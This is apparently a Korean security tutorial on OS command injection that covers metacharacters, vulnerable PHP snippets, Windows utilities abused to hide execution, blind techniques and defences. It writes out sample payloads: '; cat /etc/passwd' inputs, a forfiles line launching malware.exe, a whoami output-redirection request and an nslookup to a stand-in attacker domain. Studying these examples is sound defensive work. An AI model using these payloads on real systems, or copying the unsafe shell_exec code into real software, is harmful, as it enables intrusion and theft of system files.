Command Injection은 취약한 애플리케이션을 실행 중인 서버에서 임의의 운영체제(OS) 명령을 실행하도록 하는 공격 기법입니다
그리고 웹 취약점 중에서도 위험도가 매우 높은 공격 기법입니다
이 공격을 통해 공격자는 서버의 운영체제에서 임의의 명령어를 실행할 수 있게 되어 시스템 전체를 장악할 위험성이 있습니다
OWASP에서도 “Command injection은 취약한 애플리케이션을 통해 호스트 OS에서 임의의 명령을 실행하는 공격”이며, “불충분한 입력 검증” 때문에 발생한다고 설명합니다
또한 OWASP Top 10에서 수년간 상위권을 차지했습니다
웹 애플리케이션은 HTML 폼, HTTP 헤더, 쿠키, GET 파라미터 등을 통해 사용자로부터 데이터를 입력받아 시스템 셸(Shell)에 제공할 수 있는데, 이 과정에서 입력값 검증이 미흡하면 공격자가 의도적으로 악성 명령어를 삽입할 수 있습니다
이 취약점이 악용될 경우, 애플리케이션을 구동하고 있는 시스템 계정의 쉘 권한을 공격자가 획득한 것과 같은 상황이 되기 때문에 상당히 위험한 취약점으로 분류됩니다
Command Injection의 작동원리는 다음과 같은 단계로 작동합니다
공격자는 악의적인 운영체제 명령을 실행할 수 있는 애플리케이션 취약점을 찾습니다
응용 프로그램이 호스트 운영 체제에서 원하는 작업을 실행하도록 명령을 설계합니다
일반적으로 HTML 코드, 쿠키 등의 입력 매커니즘을 사용해 애플리케이션에 삽입합니다
브라우저는 명령을 해석하고 호스트의 운영체제 명령으로 변환합니다
위협 행위자는 호스트 시스템과 감염된 시스템의 네트워크에서 특정 명령을 실행할 수 있게 됩니다
임의 명령 주입(Arbitrary Command Injection)
최종 사용자로부터 직접 임의의 시스템 명령을 수신 가능하며, 이는 명령 삽입을 허용하는 일반적인 취약점입니다
임의 파일 업로드(Arbitrary File Uploads)
애플리케이션이 사용자가 임의의 파일 확장자를 포함하는 파일을 업로드하도록 허용할 수 있으며, 이 취약점으로 업로드된 파일이 웹루트에 추가되면 명령 주입이 가능합니다
Command Injection 공격에는 다양한 메타문자가 사용됩니다
명령어 치환:``또는$() 안에 포함된 명령어를 실행한 결과로 치환명령어 연속 실행:&&(앞 명령어가 성공해야 뒷 명령어 실행),||(앞 명령어가 실패해야 뒷 명령어 실행)명령어 구분자:;(앞 명령어의 성공 여부와 관계없이 명령어 구분)파이프:|(앞 명령어의 결과를 뒷 명령어의 입력으로 전달)
아래의 코드는 Command Injection에 취약한 PHP 코드의 예시입니다
<?PHP>
$address = $_GET["address"];
$output = shell_exec("ping -n 3 $address");
echo "<pre>$output</pre>"
?>
이 코드는 사용자 입력을 검증 없이 직접 shell_exec 함수에 전달하고 있습니다
공격자는 다음과 같은 입력으로 추가 명령을 실행할 수 있습니다
example.com; cat /etc/passwd;은 명령어를 순차적으로 실행하는 구분자로 앞 명령의 성공 여부와 관계없이 다음 명령을 실행합니다cat /etc/passwd로 시스템의 패스워드 파일을 읽어냅니다example.com | ls -la|은 앞 명령의 출력의 뒷 명령의 입력으로 전달합니다ls -la의 입력으로 전달되지만 실제로는 핑 결과가 무시되고 ls -al 명령만 실행됩니다Command Injection의 유형으로는 다음과 같은 유형들이 있습니다
Direct Command Injection은 사용자가 입력한 데이터가 OS 명령의 인자로 직접 포함되는 경우입니다
주로 system(), exec(), shell_exec() 등의 함수를 통해 구현됩니다
입력값 검증 미흡 시 공격자가 ;, &&, | 등의 메타문자를 이용해 추가 명령 실행이 가능합니다
아래는 예시 코드입니다
<?php
$target = $_GET['ip'];
$output = system("ping -c 4 " . $target);
echo "<pre>$output</pre>";
?>
127.0.0.1; cat /etc/passwdping -c 4 127.0.0.1; cat /etc/passwdIndirect Command Injection은 파일이나 환경변수를 통해 웹 애플리케이션의 시스템 셸로 OS 명령이 전달되는 경우입니다
주로 윈도우 시스템에서 나타나며 Forfiles, pcalue.exe 등 CMD를 사용하지 않고 명령을 호출할 수 있는 유틸리티를 사용할 수 있습니다
또한 실행 로그에서 정상 프로세스로 위장 가능합니다
아래는 Windows Batch 예제입니다
@echo off
forfiles /P C:\Windows\System32 /M calc.exe /C "C:\Users\Public\malware.exe
malware.exe가 forfiles.exe의 자식 프로세스로 실행되어 방화벽 규칙을 우회합니다forfiles.exe만 기록되며 실제 악성 프로세스는 은닉됩니다주의할 Windows 유틸리티
| 유틸리티 | 실행 명령어 예시 | 동작 원리 |
|---|---|---|
forfiles.exe | forfiles /P C:\ /M *.txt /C "cmd /c calc.exe" | 파일 처리 도구로 위장하여 외부 실행파일 호출 |
pcalua.exe | pcalua.exe -a "malicious.vbs" | 프로그램 호환성 도구를 악용하여 악성 스크립트 실행 |
ftp.exe | ftp -s:commands.txt | FTP 클라이언트의 자동 스크립트 실행 기능 남용 |
Blind Command Injection은 사용자의 입력 데이터가 OS 명령에 포함되어 시스템 셸로 전달되지만, HTTP 응답 메시지에 명령의 실행 결과가 표시되지 않는 경우입니다
이 경우 공격자는 다음과 같은 기술을 사용할 수 있습니다
블라인드 OS Command Injection 기술
시간 지연: SLEEP(리눅스/유닉스) 명령이나 루프백 PING 사용으로 응답 시간을 의도적으로 지연시켜 취약점 유무를 판단합니다출력 리다이렉팅: 실행 결과를 웹루트 또는 하위 경로에 파일로 생성하고 해당 URL을 통해 파일을 조회합니다대역 외(Out Of Band) 채널: 취약한 서버를 공격자가 제어할 수 있는 외부 서버와 통신하도록 유도하고 기록을 확인합니다. nslookup 또는 curl 명령을 사용할 수 있습니다아래는 예제입니다
시간 지연 공격
POST /feedback/submit HTTP/1.1
email=||ping+-c+10+127.0.0.1||
출력 리다이렉션 공격
GET /product/image?filename=output.txt HTTP/1.1
POST /feedback/submit HTTP/1.1
email=||whoami>/var/www/images/output.txt||output.txt 읽기대역 외 (OOB) 통신
POST /feedback/submit HTTP/1.1
email=||nslookup+attacker-domain.com||
attacker-domain.com 조회 로그 확인dig +short TXT attacker-domain.com 실행 시 데이터 반환그렇다면 Command Injection을 방어하려면 어떻게 해야할까요
Command Injection을 방어하기 위한 주요 기법은 아래와 같습니다
가장 근본적인 해결책은 OS 명령어 실행 자체를 피하는 것입니다
system(), exec() 등의 취약한 함수를 사용하지 않고 개발하는 것이 가장 좋습니다
부득이하게 시스템 명령을 사용해야 한다면, 대신 안전한 라이브러리 함수를 사용하는 것이 좋습니다
입력값 검증은 Command Injection 방어에 핵심적인 역할을 합니다
화이트리스트 방식(허용목록): 정의된 리스트 내의 값만 사용 가능하도록 하는 방식으로 새로운 입력 유형에도 동일한 보안성을 제공하기 때문에 안전합니다
블랙리스트 방식(제한목록): 정의된 리스트 내의 값은 사용 불가하도록 하는 방식으로, 모집합의 규모가 크고 변화가 심한 경우에 사용합니다
명령어 실행에 사용될 수 있는 특수 문자들을 적절히 이스케이프 처리해야 합니다
PHP: escapeshellcmd() 함수를 사용하여 다음과 같은 문자를 이스케이프 처리합니다: &, #, ;, |, *, ?, ~, <, >, ^, (, ), [, ], {, }, $, \, ', "
Windows: 위 문자들과 %, !도 캐럿(^)으로 이스케이프 처리합니다
시스템 계정에 최소한의 권한만 부여하여, Command Injection 공격이 성공하더라도 피해를 최소화합니다
실행 권한을 root가 아닌 제한된 권한을 가진 user로 설정하는 것이 좋습니다
shell interpreter(sh, bash, cmd, powershell 등)를 통해 명령을 실행하는 것보다 직접 바이너리 파일을 실행하는 것이 더 안전합니다
shell interpreter를 사용하면 의도하지 않은 명령어 실행이 가능해질 수 있습니다
애플리케이션과 시스템을 최신 상태로 유지하고, 정기적인 보안 테스트를 통해 취약점을 발견하고 조치해야 합니다
웹 애플리케이션 방화벽(WAF)을 사용하여 의심스러운 트래픽을 차단하는 것도 좋은 방법입니다
간단하게 Command Injection에 대해 알아보았습니다
Command Injection의 경우에도 SQL Injection과 마찬가지로 불충분한 입력 검증 때문에 발생합니다
이런 취약점에 대해 이해를 하고 이를 예방할 수 있으면 좋겠습니다!